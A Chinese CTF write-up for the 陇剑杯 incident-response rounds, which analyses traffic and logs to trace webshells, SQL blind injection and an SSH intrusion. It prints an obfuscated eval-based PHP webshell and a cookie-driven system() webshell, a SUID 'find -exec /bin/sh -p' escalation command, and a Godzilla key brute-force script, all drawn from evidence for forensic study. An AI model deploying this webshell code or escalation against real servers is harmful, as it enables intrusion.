第三届“陇剑杯”网络安全大赛-RHG人工智能赛

第1轮

webshell

应急响应 解题数:18

ez_webshell

FLAG格式:

part1:黑客处于工作目录是什么

part2:黑客输出了什么内容

part3:黑客找到的秘密是什么

flag{part1_part2_part3}

首先查看导出对象,发现robots.txt文件,同时和www.zip和seCr3t.php

image-20250921154941327

在robots.txt文件中发现

image-20250921152444402

另外在流427中发现了seCr3t.php文件的内容

image-20250921153001086

保存后打开发现

image-20250921153617299

类似base64,解码得到

image-20250921153642039

在流426中发现www.zip文件

image-20250921155201520

导出后发现压缩包加密,猜测thisIsPass为密码,解压得到webshell

image-20250921155509557

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$t='e6R4RR_encode(@Rx(@gzcoRmpress($oR),$Rk)R);print("$p$kh$r$Rkf");}';
$h='ch(R"/$kh(.+)$kf/"R,@Rfile_get_RcontentRs("php://iRnput")R,R$m)==';
$d=str_replace('fU','','fUcrfUefUate_fufUnfUctifUon');
$N='1) {@Rob_starRt();@eRval(@RgzuncRRomprReRss(@x(@RbRase64_decode($';
$e='vkzJlR2VQbRzhPhLHS";RfunRction x(R$t,$k){$Rc=RstrleRn($kR);$Rl=Rs';
$Z='R$k="e10adc39R";$khR=R"49ba59RabbRe5R6";$kf="e057Rf20f883e";R$p="';
$S='m[1]),R$kR)));$o=@oRb_get_cRonteRnts()R;@ob_end_cleanR();$Rr=@bas';
$W='$j++,$i+R+){$o.R=$t{$i}^R$kR{R$j};}}return R$o;}if R(@preRRg_maRt';
$T='trlen($t)R;$o=""R;foRr($i=0;$i<$l;R){foRr($jR=0;($j<$c&&$i<$RlR);';
$F=str_replace('R','',$Z.$e.$T.$W.$h.$N.$S.$t);
$l=$d('',$F);$l();
?>

去混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$k="e10adc39";
$kh="49ba59abb5e6";
$kf="e057f20f883e";
$p="vkzJl2VQbzhPhLHS";

function x($t,$k){
$c=strlen($k);
$l=strlen($t);
$o="";
for($i=0;$i<$l;){
for($j=0;($j<$c && $i<$l);$j++,$i++){
$o.=$t{$i} ^ $k{$j};
}
}
return $o;
}

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
$o=@ob_get_contents();
@ob_end_clean();
$r=@base64_encode(@x(@gzcompress($o),$k));
print("$p$kh$r$kf");
}

写解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/env python3
import base64
import zlib
import sys

XOR_KEY = b"e10adc39"

def xor_bytes(data: bytes, key: bytes) -> bytes:
klen = len(key)
return bytes([b ^ key[i % klen] for i, b in enumerate(data)])

def decode_payload(b64_payload: str, key: bytes = XOR_KEY) -> str:
"""返回解压后的字符串(utf-8),若失败抛出异常"""
# 1. base64 decode
raw = base64.b64decode(b64_payload)
# 2. xor
x = xor_bytes(raw, key)
# 3. zlib decompress (PHP gzuncompress 对应 zlib.decompress)
decompressed = zlib.decompress(x)
return decompressed.decode('utf-8', errors='replace')

if __name__ == "__main__":
# 示例:解码用户提供的字符串
payload = "Ha17LKqr5AnQAYdVsdc1OX0XM18="
try:
plain = decode_payload(payload)
print("Decoded:", plain)
except Exception as e:
print("Decode failed:", e, file=sys.stderr)
sys.exit(1)

在这个流中

image-20250921164919593

1
2
Ha17LKqr5AnQAYdVsdc1OX0XM18
Ha0D1FTUBzxlMgpgdw==

image-20250921165004917

然后每一个流都解密

part1:黑客处于工作目录是什么

/app

image-20250921165423434

part2:黑客输出了什么内容

part2!@#

image-20250921165734631

part3:黑客找到的秘密是什么

The_Last_Part_U_Fin3

image-20250921165828123

1
flag{app_part2!@#_The_Last_Part_U_Fin3}

第2轮

which_sql

应急响应 解题数:51

我的数据库被攻击了?

打开日志,大概发现是sql盲注,同时观察到在盲注每个字段的某个字符最后都是以!=结束

image-20250922223542280

故利用cyberchef去过滤,在第二列中,找到真的flag

1
2
3
4
5
Filter('Line feed','FROM public.ctf_flags ORDER BY id OFFSET',false)
Filter('Line feed','OFFSET 2(0,1,3)',false)
Filter('Line feed','!=',false)
Regular_expression('User defined','!=\\s*(\\d+)',true,true,false,false,false,false,'List capture groups')
From_Decimal('Line feed',false)

image-20250922223709939

1
ctfplus{Wow_u_2re_sql_master}

又或者

image-20250922223929792

1
clag{wwwWow_u_2re_sql_master} -> flag{wwwWow_u_2re_sql_master}

第3轮

从Web到Root

某招商局政府网页存在安全漏洞,服务器疑似被入侵。警方立刻介入调查,紧急封禁了外部访问,进行取证,获取到了三份关键日志。

题目1:根据access.log文件,请判断出攻击者最初利用了哪个 Web 页面的漏洞,并且留下了后门。利用md5(Web页面_后门名称_攻击者IP)解密auth.zip。例:md5(index.html_shell.php_127.0.0.1)。

题目2:根据auth.log文件,请判断攻击者通过 SSH 成功登录的用户名是什么?以及时间。利用md5(用户名_登录时间)进行解密syslog.zip。时间无需转为北京时间,例:md5(test_2024.01.01_00:00)

题目3:根据syslog文件,请判断攻击者具体使用了哪条命令完成本地提权?攻击者创建的后门用户名是什么?攻击者尝试的 外联IP 是多少?请提交flag{md5(完整命令_后门账户_外联IP)}。例:flag{md5(sudo_hack_127.0.0.1)}。

题目一

md5(news.php_template_83a.php_118.109.112.203) -> e6f4320e2c6ccc46fff6cf6725c76f32

打开access.log文件看到最下的日志

image-20250925162731442

发现118.109.112.203这个ip一直在访问/robots.txt,这个ip大概率有问题

筛选这个ip并筛选响应200的日志

image-20250925163427665

可以看到在news.php下进行了sql注入

继续筛选,发现貌似上传了template_83a.php这个文件,猜测这个应是后门(但是感觉好奇怪啊,就访问了一次,感觉有点抽象)

image-20250925163959840

md5(news.php_template_83a.php_118.109.112.203) -> e6f4320e2c6ccc46fff6cf6725c76f32

题目二

md5(deploy_2024.03.07_10:03) -> 5af42e4663e4eb6ff287f22b21ad4ff6

筛选pam_unix

1. PAM 框架

  • PAM(Pluggable Authentication Modules,可插拔认证模块)是一套标准接口,用来把各种认证方法(本地密码、LDAP、Kerberos、二次验证等)统一到一套框架里。
  • 当你登录系统(例如通过 ssh)时,系统会调用 PAM 来决定是否允许登录。

2. pam_unix 模块

  • pam_unix 是 PAM 框架里最常见的一个模块,作用是通过 本地 /etc/passwd/etc/shadow 文件来做用户认证。
  • 它的名字说明:它是使用“传统 Unix 口令”方式来进行认证。

image-20250925165804224

发现登录成功的日志,用户是deploy时间是03.07_10:03根据access.log的时间可知是2024年

md5(deploy_2024.03.07_10:03) -> 5af42e4663e4eb6ff287f22b21ad4ff6

题目三

flag{d2c691c15a55ab3a824c925c55232d63}

筛选deploy

image-20250925180921780

发现使用了find / -exec /bin/sh -p \; -quit进行了提权,搜索useradd发现了创建了新的用户hAnd3

image-20250925195745901

外联ip是198.51.100.23

md5(find / -exec /bin/sh -p \; -quit_hAnd3_198.51.100.23) -->d2c691c15a55ab3a824c925c55232d63

第4轮

数据安全1

敏感数据导出排查。公司服务器存在未授权漏洞,遭遇黑客对api进行暴力轮询,大量泄漏了身份证号,姓名,年龄等敏感信息。请你找出所有泄漏的身份证号并且按数据被窃取的时间顺序进行排序后,md5提交。

例如:

身份证1:1234

身份证2:3456

身份证3:7890

flag{md5(123434567890)}

首先导出所有的http对象的content type为application/json的

image-20250922233836034

写脚本提取其中的idcard,并md5

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
import os
import json
import hashlib
import re

def extract_idcards_from_folder(folder_path):
"""
从文件夹中的所有文件提取idcard值
"""
idcards = []

# 获取所有文件并按文件名排序
files = sorted(os.listdir(folder_path), key=lambda x: int(re.search(r'\d+', x).group()))

for filename in files:
file_path = os.path.join(folder_path, filename)

# 跳过子目录
if not os.path.isfile(file_path):
continue

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()

# 尝试解析JSON
try:
data = json.loads(content)
idcard = data.get("user", {}).get("idcard", "")

# 验证idcard格式
if validate_idcard(idcard):
idcards.append(idcard)
else:
print(f"警告: 文件 {filename} 中的idcard格式无效: {idcard}")

except json.JSONDecodeError:
print(f"错误: 文件 {filename} 不是有效的JSON格式")

except Exception as e:
print(f"处理文件 {filename} 时出错: {str(e)}")

return idcards

def validate_idcard(idcard):
"""
验证身份证号格式
"""
# 基本格式验证
if not re.match(r'^[1-9]\d{16}[\dXx]$', idcard):
return False

# 地区码验证 (前6位)
# 这里可以添加更详细的地区码验证
if not re.match(r'^[1-9]\d{5}', idcard):
return False

# 出生日期验证 (7-14位)
year = int(idcard[6:10])
month = int(idcard[10:12])
day = int(idcard[12:14])

# 简单日期有效性检查
if month < 1 or month > 12:
return False
if day < 1 or day > 31:
return False
if month in [4, 6, 9, 11] and day > 30:
return False
if month == 2:
if (year % 4 == 0 and year % 100 != 0) or (year % 400 == 0):
if day > 29:
return False
elif day > 28:
return False

return True

def calculate_md5(idcards):
"""
计算所有idcard值的MD5哈希
"""
# 将所有idcard值连接成一个字符串
combined = "".join(idcards)

# 计算MD5
md5_hash = hashlib.md5()
md5_hash.update(combined.encode('utf-8'))
return md5_hash.hexdigest()

if __name__ == "__main__":
# 设置文件夹路径
folder_path = "F:\\2025陇剑杯\\决赛附件\\陇剑CTF\\4.数据安全1\\a" # 替换为实际文件夹路径

# 提取所有idcard值
idcards = extract_idcards_from_folder(folder_path)

if not idcards:
print("未找到有效的idcard值")
exit()
output_filename = "idcards_output.txt"
with open(output_filename, 'w', encoding='utf-8') as f:
for i, idcard in enumerate(idcards, 0):
f.write(f"{i}. {idcard}\n")

print(f"已将提取的idcard值写入文件: {output_filename}")


# 计算并打印MD5
md5_hash = calculate_md5(idcards)
print(f"\n所有idcard值的MD5哈希: {md5_hash}")

image-20250925204509067

1
flag{22f0478916408f8026b4eb61204ab930}

第5轮

ShellDecoder

某政务云服务器被上传了webshell,触发了告警。经过严密的分析后,成功溯源到嫌疑人。现对该起事件进行复盘,请根据捕获流量找到flag

从第一个流量包的dns中提取数据

image-20250924155151677

解8次base64后得到某个密码yQkCAH1x@HdY811u

打开另一个流量包,筛选_ws.col.info == "HTTP/1.1 200 OK (text/html)"

image-20250924164708605

发现shell.php之前有一个/upload/Pass-02/index.php

image-20250924170340031

上传了一个php文件,解混淆后得到

1
2
3
4
5
6
if (isset($_COOKIE['cm'])) {  // 检查是否存在名为 'cm' 的 Cookie
ob_start(); // 开启输出缓冲,捕获后续所有输出
system(base64_decode($_COOKIE['cm']) . ' 2>&1'); // 执行系统命令
setcookie($_COOKIE['un'], $_COOKIE['up'] . base64_encode(ob_get_contents()) . $_COOKIE['up']); // 设置新 Cookie
ob_end_clean(); // 清除输出缓冲,避免命令输出直接发送给客户端
}

筛选a.php,_ws.col.info == "GET http://192.168.7.1/upload/upload/a.php HTTP/1.1 "

image-20250924171457482

全选,导出选中分组

image-20250924171636295

然后在新的流量包中导出分组解析结果

image-20250924171903275

导入cyberchef中

1
2
3
4
5
6
Filter('Line feed','"http.request.line": "Cookie',false)
Find_/_Replace({'option':'Regex','string':' '},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'"http.request.line":"Cookie:cm='},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':';cn=M-cookie;'},'',true,false,true,false)
Regular_expression('User defined','^.*?(?=cp=)',true,true,false,false,false,false,'List matches with capture groups')
From_Base64('A-Za-z0-9+/=',true,false)

image-20250924164215147

看到其执行的命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
id
dir
type 9.txt 0
type 4.txt 1
type 7.txt 2
type 10.txt 3
type 11.txt 4
type 1.txt 5
type 2.txt 6
type 8.txt 7
type 6.txt 8
type 3.txt 9
type 5.txt 10
type 0.txt
type 10.txt
type 11.txt
type 6.txt
type 9.txt
systeminfo
tasklist /SVC

然后利用http.request.uri == "http://192.168.7.1/upload/upload/a.php" && _ws.col.info =="HTTP/1.1 200 OK "筛选对应响应包。同样进行上边操作导出分组解析对象,丢入cyberchef过滤分析

image-20250925111450539

找到type *.txt对应的行,手动按顺序拼接解码(写脚本也行)

其中0.txt解码后可以得到-49bf-90f6-04ee62eacb06}疑似一半flag

image-20250925112135167

然后1-11的txt一起解码后得到一个压缩包

image-20250924180443628

得到压缩包,尝试利用第一个流量包得到的密码解压,得到了一个字典,猜测是去爆破哥斯拉流量的密钥

image-20250924180635523

修改一下脚本爆破webraybtl/webshell_detect: webshell_detect

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
def brute_force_key():
"""
从 key.txt 文件中读取密钥,并尝试爆破解密。
"""
# 你需要解密的数据 (请求或响应)
# 以下示例使用 JAVA_AES_BASE64 的请求负载
encrypted_payload = b'pass=DgRCW1dQewdVXDszNzcxRAYSQg%3D%3D'
password = 'pass'

try:
with open('key.txt', 'r', encoding='utf-8') as f:
keys = [hashlib.md5(line.strip().encode()).hexdigest()[:16]
for line in f if line.strip()]

except FileNotFoundError:
print("错误: 未找到 key.txt 文件。请在脚本目录中创建它。")
return

print(f"开始使用 {len(keys)} 个密钥进行爆破...")

for i, key in enumerate(keys,1):
# 根据你的 webshell 类型选择正确的解密器类
# 例如: JAVA_AES_BASE64, PHP_XOR_BASE64 等
decrypter = PHP_XOR_BASE64(pass_=password, key=key)

try:
# 尝试解密请求负载
decrypted_data = decrypter.decrypt_req_payload(encrypted_payload)
# 如果解密成功,通常会得到可读的或可解压的数据
# 成功的标志可能是没有异常抛出
print("-" * 50)
print(f"[+] 成功! 找到第 {i} 个密钥: {key}" )
print(f" 解密后数据: {decrypted_data}")
print("-" * 50)
# 找到一个后可以选择继续或中断
# return
except Exception as e:
# 解密失败,继续尝试下一个密钥
print(f"[-] 密钥 {key} 失败: {e}")
pass

print("爆破完成。")

if __name__ == '__main__':

brute_force_key()

image-20250925133138770

第三十三个解码出来是合理的,所以1p79u0ztp就是密钥

image-20250925133315353

然后按照之前的方法提取请求和响应的json,丢到cyberchef里解码

先筛选请求包

1
2
3
4
Filter('Line feed','"urlencoded-form.value": "',false)
Find_/_Replace({'option':'Regex','string':' '},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'"urlencoded-form.value": "'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'"'},'',true,false,true,false)

image-20250925145147108

然后发现这些请求包,多番尝试后才发现有的是PHP-XOR-BASE64有的是JAVA-AES-BASE64,

比如第一个请求就是php的,应该是一个马

image-20250925152332974

image-20250925151008163

其中的这个,找到对应的响应包看看

1
2
3
4
5
Filter('Line feed','5396300497f5540f',false)
Find_/_Replace({'option':'Regex','string':' "'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'": ""'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'…'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':''},'',true,false,true,false)

image-20250925151737246

手动把[]去了,

1
2
Find_/_Replace({'option':'Regex','string':'5396300497f5540f'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'6fec9b8c211a7d2c'},'',true,false,true,false)

image-20250925151840252

image-20250925151206126

然后出题人不是人,Base64 -> Base92 -> Ascii85 -> Base62 -> Base45

image-20250925151502064

得到另一半flagflag{94e35868-8b16

然后得到全部的flag

1
flag{94e35868-8b16-49bf-90f6-04ee62eacb06}

(ing…..)